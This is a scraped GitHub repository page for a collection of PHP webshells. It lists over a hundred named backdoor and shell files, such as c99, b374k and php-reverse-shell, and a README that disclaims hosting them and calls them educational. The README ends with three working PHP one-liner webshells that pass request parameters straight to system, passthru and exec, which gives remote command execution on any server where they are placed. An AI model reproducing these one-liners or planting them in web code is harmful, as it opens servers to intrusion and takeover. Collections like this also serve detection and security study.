Common php webshells. Do not host the file(s) on your server!
PHP Perl C
Switch branches/tags
Nothing to show
Latest commit 01b36e2 Apr 12, 2016 @JohnTroony Merge pull request #4 from RichieSM/master
Improve documentation
Permalink
Failed to load latest commit information.
OTHER More cleaning Nov 16, 2014
b374k @ 63b33c4 Add b374k module Dec 18, 2015
.gitmodules Add b374k module Dec 18, 2015
529.php webshells 1 Jul 25, 2014
AK-74 Security Team Web Shell Beta Version.php webshells 1 Jul 25, 2014
Antichat Shell v1.3.php webshells 1 Jul 25, 2014
Antichat Shell. Modified by Go0o$E.php webshells 1 Jul 25, 2014
Antichat Shell.php webshells 1 Jul 25, 2014
Antichat_Shell_v1.3.php webshells 1 Jul 25, 2014
Ayyildiz Tim -AYT- Shell v 2.1 Biz.php webshells 1 Jul 25, 2014
C99madShell v. 2.0 madnet edition.php webshells 1 Jul 25, 2014
CasuS 1.5.php webshells 1 Jul 25, 2014
CrystalShell v.1.php webshells 1 Jul 25, 2014
Cyber Shell (v 1.0).php webshells 1 Jul 25, 2014
Cyber Shell.php webshells 1 Jul 25, 2014
DTool Pro.php webshells 1 Jul 25, 2014
Dive Shell 1.0 - Emperor Hacking Team.php webshells 1 Jul 25, 2014
Dive_Shell_1.0_Emperor_Hacking_Team.php webshells 1 Jul 25, 2014
GFS web-shell ver 3.1.7 - PRiV8.php webshells 1 Jul 25, 2014
GFS_web-shell_ver_3.1.7_-_PRiV8.php webshells 1 Jul 25, 2014
GRP WebShell 2.0 release build 2018 (C)2006,Great.php webshells 1 Jul 25, 2014
Gamma Web Shell.php webshells 1 Jul 25, 2014
KA_uShell 0.1.6.php webshells 1 Jul 25, 2014
KAdot Universal Shell v0.1.6.php webshells 1 Jul 25, 2014
KAdot_Universal_Shell_v0.1.6.php webshells 1 Jul 25, 2014
Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php webshells 1 Jul 25, 2014
Loaderz WEB Shell.php webshells 1 Jul 25, 2014
Macker's Private PHPShell.php webshells 1 Jul 25, 2014
Moroccan Spamers Ma-EditioN By GhOsT.php webshells 1 Jul 25, 2014
Moroccan_Spamers_Ma-EditioN_By_GhOsT.php webshells 1 Jul 25, 2014
MySQL Web Interface Version 0.8.php webshells 1 Jul 25, 2014
MySQL_Web_Interface_Version_0.8.php webshells 1 Jul 25, 2014
MyShell.php webshells 1 Jul 25, 2014
Mysql interface v1.0.php webshells 1 Jul 25, 2014
Mysql_interface_v1.0.php webshells 1 Jul 25, 2014
NCC-Shell.php webshells 1 Jul 25, 2014
NGH.php webshells 1 Jul 25, 2014
NTDaddy v1.9.php webshells 1 Jul 25, 2014
Non-alphanumeric.php Add non-alphanumbric shell Dec 3, 2014
PH Vayv.php webshells 1 Jul 25, 2014
PHANTASMA.php webshells 1 Jul 25, 2014
PHP Shell.php webshells 1 Jul 25, 2014
PHPRemoteView.php webshells 1 Jul 25, 2014
PHVayv.php webshells 1 Jul 25, 2014
PH_Vayv.php webshells 1 Jul 25, 2014
PhpSpy Ver 2006.php webshells 1 Jul 25, 2014
Predator.php webshells 1 Jul 25, 2014
README.md Update README.md Aug 23, 2015
Rootshell.v.1.0.php webshells 1 Jul 25, 2014
STNC WebShell v0.8.php webshells 1 Jul 25, 2014
Safe0ver Shell -Safe Mod Bypass By Evilc0der.php webshells 1 Jul 25, 2014
Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php webshells 1 Jul 25, 2014
Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php webshells 1 Jul 25, 2014
SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php webshells 1 Jul 25, 2014
SimShell 1.0 - Simorgh Security MGZ.php webshells 1 Jul 25, 2014
SimShell_1.0_-_Simorgh_Security_MGZ.php webshells 1 Jul 25, 2014
Simple_PHP_backdoor_by_DK.php webshells 1 Jul 25, 2014
Sincap 1.0.php webshells 1 Jul 25, 2014
Small Web Shell by ZaCo.php webshells 1 Jul 25, 2014
Uploader.php webshells 1 Jul 25, 2014
Web-shell (c)ShAnKaR.php webshells 1 Jul 25, 2014
WinX Shell.php webshells 1 Jul 25, 2014
Worse Linux Shell.php webshells 1 Jul 25, 2014
ZyklonShell.php webshells 1 Jul 25, 2014
aZRaiLPhp v1.0.php webshells 1 Jul 25, 2014
aZRaiLPhp_v1.0.php webshells 1 Jul 25, 2014
accept_language.php webshells 1 Jul 25, 2014
b374k-mini-shell-php.php.php webshells 1 Jul 25, 2014
backupsql.php webshells 1 Jul 25, 2014
c0derz shell [csh] v. 0.1.1 release.php webshells 1 Jul 25, 2014
c99_locus7s.php webshells 1 Jul 25, 2014
c99_madnet.php webshells 1 Jul 25, 2014
cpanel.php webshells 1 Jul 25, 2014
cw.php webshells 1 Jul 25, 2014
cybershell.php webshells 1 Jul 25, 2014
dC3 Security Crew Shell PRiV.php webshells 1 Jul 25, 2014
dC3_Security_Crew_Shell_PRiV.php webshells 1 Jul 25, 2014
erne.php webshells 1 Jul 25, 2014
ex0shell.php webshells 1 Jul 25, 2014
fatal.php webshells 1 Jul 25, 2014
ftpsearch.php webshells 1 Jul 25, 2014
g00nshell-v1.3.php webshells 1 Jul 25, 2014
h4ntu shell [powered by tsoi].php webshells 1 Jul 25, 2014
h4ntu_shell_[powered_by_tsoi].php webshells 1 Jul 25, 2014
hiddens shell v1.php webshells 1 Jul 25, 2014
ironshell.php webshells 1 Jul 25, 2014
kral.php webshells 1 Jul 25, 2014
lamashell.php webshells 1 Jul 25, 2014
lifkaS.php Add Lifka Shell Apr 9, 2016
load_shell.php webshells 1 Jul 25, 2014
lolipop.php webshells 1 Jul 25, 2014
lostDC.php webshells 1 Jul 25, 2014
matamu.php webshells 1 Jul 25, 2014
megabor.php webshells 1 Jul 25, 2014
myshell.php I never actually touched these file so strange but whatever. Myshell.… Nov 15, 2014
mysql_tool.php webshells 1 Jul 25, 2014
nshell.php webshells 1 Jul 25, 2014
pHpINJ.php webshells 1 Jul 25, 2014
php-backdoor.php webshells 1 Jul 25, 2014
php-include-w-shell.php webshells 1 Jul 25, 2014
php-reverse-shell.php I never actually touched these file so strange but whatever. Myshell.… Nov 15, 2014
pws.php webshells 1 Jul 25, 2014
qsd-php-backdoor.php webshells 1 Jul 25, 2014
rootshell.php webshells 1 Jul 25, 2014
ru24_post_sh.php webshells 1 Jul 25, 2014
s72 Shell v1.1 Coding.php webshells 1 Jul 25, 2014
s72_Shell_v1.1_Coding.php webshells 1 Jul 25, 2014
safe0ver.php webshells 1 Jul 25, 2014
simattacker.php webshells 1 Jul 25, 2014
simple-backdoor.php webshells 1 Jul 25, 2014
simple_cmd.php webshells 1 Jul 25, 2014
small.php webshells 1 Jul 25, 2014
soldierofallah.php webshells 1 Jul 25, 2014
sosyete.php webshells 1 Jul 25, 2014
spygrup.php webshells 1 Jul 25, 2014
stres.php webshells 1 Jul 25, 2014
tryag.php webshells 1 Jul 25, 2014
zaco.php webshells 1 Jul 25, 2014
zacosmall.php webshells 1 Jul 25, 2014

README.md

Contributing

To contribute other shells not listed here... Fork, Push the changes to your repo, then before you request for a Pull, make sure to include a simple description of your php web-shell and include a screen-shot of the web-shell (as hosted in your localhost).

php-webshells

Common PHP shells. Do not put these on a publicly-accessible webserver.

These are provided for education purposes only.

Common php webshells. Do not host the file(s) in your server!

++++++++++++++++++++++++++

Though I recommend one-liners like

(Not a full fledged webshell, but works fine)

=================================================================

You can try WebHandler for one-liners.

WebHandler.py works for POST and GET requests:

<?php system($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<?php echo exec($_POST['cmd']); ?>